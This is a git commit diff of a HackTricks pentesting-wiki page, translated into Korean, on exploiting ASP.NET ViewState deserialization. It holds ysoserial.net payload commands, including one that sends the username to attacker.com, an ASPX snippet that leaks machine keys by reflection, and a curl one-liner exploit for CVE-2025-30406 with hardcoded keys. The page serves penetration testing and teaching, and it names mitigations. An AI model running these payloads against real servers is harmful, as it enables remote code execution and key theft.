mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
b3db4c59d2
commit
be89077f0c
@ -4,7 +4,7 @@
|
||||
|
||||
## What is ViewState
|
||||
|
||||
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 사용됩니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
|
||||
**ViewState**는 ASP.NET에서 웹 페이지 간에 페이지 및 컨트롤 데이터를 유지하는 기본 메커니즘으로 작용합니다. 페이지의 HTML이 렌더링되는 동안, 페이지의 현재 상태와 포스트백 중에 보존할 값들이 base64로 인코딩된 문자열로 직렬화됩니다. 이러한 문자열은 숨겨진 ViewState 필드에 배치됩니다.
|
||||
|
||||
ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있습니다:
|
||||
|
||||
@ -13,7 +13,7 @@ ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있
|
||||
- **Base64 + MAC (Message Authentication Code) Enabled**:
|
||||
- MAC의 활성화는 `EnableViewStateMac` 속성을 true로 설정하여 이루어집니다. 이는 ViewState 데이터에 대한 무결성 검증을 제공합니다.
|
||||
- **Base64 + Encrypted**:
|
||||
- 암호화는 `ViewStateEncryptionMode` 속성이 true로 설정될 때 적용되어 ViewState 데이터의 기밀성을 보장합니다.
|
||||
- `ViewStateEncryptionMode` 속성이 true로 설정될 때 암호화가 적용되어 ViewState 데이터의 기밀성을 보장합니다.
|
||||
|
||||
## Test Cases
|
||||
|
||||
@ -21,8 +21,8 @@ ViewState 정보는 다음 속성 또는 그 조합으로 특징지을 수 있
|
||||
|
||||
1. **모든 .NET 버전**에 대해, MAC과 Encryption이 모두 비활성화되면 MachineKey가 필요하지 않으며, 따라서 이를 식별할 수 있는 방법이 없습니다.
|
||||
2. **4.5 미만 버전**의 경우, MAC이 활성화되었지만 Encryption이 비활성화된 경우 MachineKey가 필요합니다. MachineKey를 식별하는 방법은 "Blacklist3r"로 언급됩니다.
|
||||
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이, Encryption이 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 작업은 "Blacklist3r - Future Development"입니다.
|
||||
4. **4.5 이상 버전**의 경우, MAC과 Encryption의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey가 필요합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
|
||||
3. **4.5 미만 버전**의 경우, MAC이 활성화되었든 비활성화되었든 관계없이 Encryption이 활성화되면 MachineKey가 필요합니다. MachineKey를 식별하는 작업은 "Blacklist3r - Future Development"입니다.
|
||||
4. **4.5 이상 버전**의 경우, MAC과 Encryption의 모든 조합(둘 다 true이거나 하나는 true이고 다른 하나는 false인 경우)은 MachineKey를 필요로 합니다. MachineKey는 "Blacklist3r"를 사용하여 식별할 수 있습니다.
|
||||
|
||||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
|
||||
@ -32,14 +32,14 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**ViewState 속성 식별**
|
||||
|
||||
BurpSuite를 사용하여 이 매개변수를 포함하는 요청을 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. 매개변수를 보호하는 데 Mac이 사용되지 않는 경우 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)을 사용하여 이를 악용할 수 있습니다.
|
||||
BurpSuite를 사용하여 이 매개변수를 포함하는 요청을 캡처하여 ViewState가 MAC으로 보호되는지 확인할 수 있습니다. Mac이 매개변수를 보호하는 데 사용되지 않는 경우 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)을 사용하여 이를 악용할 수 있습니다.
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### Test case 1.5 – Test case 1과 같지만 ViewState 쿠키가 서버에 의해 전송되지 않음
|
||||
|
||||
개발자는 **ViewState**가 HTTP 요청의 일부가 되지 않도록 할 수 있습니다 (사용자는 이 쿠키를 받지 않음).\
|
||||
**ViewState**가 **존재하지 않으면**, 그들의 구현이 ViewState 역직렬화로 인한 잠재적 취약점으로부터 **안전하다**고 가정할 수 있습니다.\
|
||||
**ViewState**가 **존재하지 않으면**, 그들의 구현이 **ViewState 역직렬화로 인한 잠재적 취약점**으로부터 **안전하다**고 가정할 수 있습니다.\
|
||||
하지만, 그렇지 않습니다. 요청 본문에 **ViewState 매개변수**를 추가하고 ysoserial을 사용하여 생성한 직렬화된 페이로드를 전송하면, 여전히 **코드 실행**을 달성할 수 있습니다, **Case 1**에서 보여준 것처럼.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 및 EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
@ -106,15 +106,15 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
```
|
||||
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
|
||||
|
||||
이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며 **취약점을 악용하기 위해 페이로드를 암호화할 Machine Key가 필요합니다.**
|
||||
이 경우 매개변수가 MAC으로 보호되는지 여부는 알려져 있지 않습니다. 따라서 값은 아마도 암호화되어 있으며, 취약점을 악용하기 위해 **페이로드를 암호화할 Machine Key가 필요합니다**.
|
||||
|
||||
**이 경우** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **모듈이 개발 중입니다...**
|
||||
|
||||
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **수용할 수 있습니다**. ASP.NET은 **요청에서** **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만을 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
|
||||
**.NET 4.5 이전에**, ASP.NET은 **`ViewStateEncryptionMode`**가 _**항상**_으로 설정되어 있더라도 사용자로부터 **암호화되지 않은** \_`__VIEWSTATE`\_ 매개변수를 **수용할 수 있습니다**. ASP.NET은 요청에서 **`__VIEWSTATEENCRYPTED`** 매개변수의 **존재**만을 **확인합니다**. **이 매개변수를 제거하고 암호화되지 않은 페이로드를 전송하면 여전히 처리됩니다.**
|
||||
|
||||
따라서 공격자가 파일 탐색과 같은 다른 취약점을 통해 Machinekey를 얻는 방법을 찾으면, **Case 2**에서 사용된 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 명령을 사용하여 ViewState 역직렬화 취약점을 이용한 RCE를 수행할 수 있습니다.
|
||||
|
||||
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거해야 하며, 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 악용이 실패합니다.
|
||||
- ViewState 역직렬화 취약점을 악용하기 위해 요청에서 `__VIEWSTATEENCRYPTED` 매개변수를 제거해야 하며, 그렇지 않으면 Viewstate MAC 검증 오류가 반환되고 공격이 실패합니다.
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
|
||||
|
||||
@ -128,7 +128,7 @@ compatibilityMode="Framework45"
|
||||
```
|
||||
이전과 마찬가지로 **값이 암호화되어 있습니다.** 그러므로 **유효한 페이로드를 보내기 위해 공격자는 키가 필요합니다.**
|
||||
|
||||
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)를 사용하여 사용 중인 키를 찾을 수 있습니다:
|
||||
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 를 사용하여 사용 중인 키를 찾을 수 있습니다:
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||||
|
||||
@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
```
|
||||
IISDirPath와 TargetPagePath에 대한 더 자세한 설명은 [여기를 참조하세요](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/).
|
||||
|
||||
또는 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (생성기 값 포함)와 함께:
|
||||
또는 [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (생성기 값 포함)를 사용하여:
|
||||
```bash
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
@ -153,24 +153,24 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
ViewState 역직렬화 취약점을 성공적으로 악용하면 공격자가 제어하는 서버로의 아웃 오브 밴드 요청이 발생하며, 여기에는 사용자 이름이 포함됩니다. 이러한 종류의 익스플로잇은 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 익스플로잇 과정이 어떻게 작동하는지와 MachineKey를 식별하기 위해 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)을 검토할 수 있습니다.
|
||||
ViewState 역직렬화 취약점을 성공적으로 악용하면 공격자가 제어하는 서버로 사용자 이름이 포함된 비동기 요청이 전송됩니다. 이러한 종류의 익스플로잇은 "Blacklist3r 및 YsoSerial.NET을 사용한 ViewState 역직렬화 악용"이라는 제목의 리소스를 통해 찾을 수 있는 개념 증명(PoC)에서 시연됩니다. 악용 프로세스가 어떻게 작동하는지와 MachineKey 식별을 위한 Blacklist3r와 같은 도구를 활용하는 방법에 대한 자세한 내용은 제공된 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)을 검토할 수 있습니다.
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys가 사용되고 있음
|
||||
|
||||
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에서 이러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
|
||||
**ViewStateUserKey** 속성은 **CSRF 공격**에 대해 **방어**하는 데 사용할 수 있습니다. 애플리케이션에 그러한 키가 정의되어 있고 지금까지 논의된 방법으로 **ViewState** 페이로드를 생성하려고 하면, **페이로드는 애플리케이션에 의해 처리되지 않습니다**.\
|
||||
페이로드를 올바르게 생성하기 위해 추가 매개변수를 하나 더 사용해야 합니다:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### Result of a Successful Exploitation <a href="#poc" id="poc"></a>
|
||||
|
||||
모든 테스트 케이스에서, ViewState YSoSerial.Net 페이로드가 **성공적으로** 작동하면 서버는 “**500 Internal server error**”로 응답하며 응답 내용은 “**이 페이지에 대한 상태 정보가 유효하지 않거나 손상되었을 수 있습니다**”이고 OOB 요청을 받습니다.
|
||||
모든 테스트 케이스에서, ViewState YSoSerial.Net 페이로드가 **성공적으로** 작동하면 서버는 “**500 Internal server error**”와 함께 응답 내용 “**이 페이지에 대한 상태 정보가 유효하지 않으며 손상되었을 수 있습니다**”를 반환하고 OOB 요청을 받습니다.
|
||||
|
||||
[더 많은 정보는 여기에서 확인하세요](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
[여기에서 추가 정보를 확인하세요](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
대상 웹 루트 내에서 **임의의 ASPX 코드를 업로드하거나 실행할 수 있는** 공격자는 브루트포싱하는 대신 `__VIEWSTATE`를 보호하는 비밀 키를 직접 검색할 수 있습니다. 키를 유출하는 최소한의 페이로드는 리플렉션을 통해 내부 .NET 클래스를 활용합니다:
|
||||
대상 웹 루트 내에서 **임의의 ASPX 코드를 업로드하거나 실행할 수 있는** 공격자는 브루트포싱 대신 `__VIEWSTATE`를 보호하는 비밀 키를 직접 검색할 수 있습니다. 키를 유출하는 최소한의 페이로드는 리플렉션을 통해 내부 .NET 클래스를 활용합니다:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
@ -196,10 +196,48 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
이 **키 유출 원시**는 2025년 온프레미스 SharePoint 서버에 대해 대규모로 악용되었으며 ("ToolShell" – CVE-2025-53770/53771), 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용 가능합니다.
|
||||
이 **키 유출 원시**는 2025년 온프레미스 SharePoint 서버에서 대규모로 악용되었으며 ("ToolShell" – CVE-2025-53770/53771), 공격자가 서버 측 코드를 실행할 수 있는 모든 ASP.NET 애플리케이션에 적용 가능합니다.
|
||||
|
||||
## 2024-2025 실제 악용 시나리오 및 하드코딩된 머신 키
|
||||
|
||||
### Microsoft “공개된 머신 키” 파동 (2024년 12월 – 2025년 2월)
|
||||
Microsoft Threat Intelligence는 *machineKey*가 이전에 공개 소스(GitHub gists, 블로그 게시물, paste 사이트)에서 유출된 ASP.NET 사이트의 대규모 악용을 보고했습니다. 적대자는 이러한 키를 열거하고 WAF 길이 제한을 피하기 위해 새로운 `ysoserial.net` 1.41 `--minify` 및 `--islegacy` 플래그로 유효한 `__VIEWSTATE` 가젯을 생성했습니다:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
정적 키를 회전시키거나 Web .config에서 *AutoGenerate* 키로 전환하는 것(`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`)은 이 공격 유형을 완화합니다. {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2025-30406 – Gladinet CentreStack / Triofox 하드코딩된 키
|
||||
Kudelski Security는 여러 CentreStack / Triofox 릴리스가 동일한 `machineKey` 값을 포함하고 있어 ViewState 위조를 통한 인증되지 않은 원격 코드 실행이 가능하다는 것을 발견했습니다 (CVE-2025-30406).
|
||||
|
||||
원라이너 익스플로잇:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
--validationalg=SHA1 \
|
||||
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372에서 수정됨 – 즉시 키를 업그레이드하거나 교체하십시오. {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
|
||||
- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
Loading…
x
Reference in New Issue
Block a user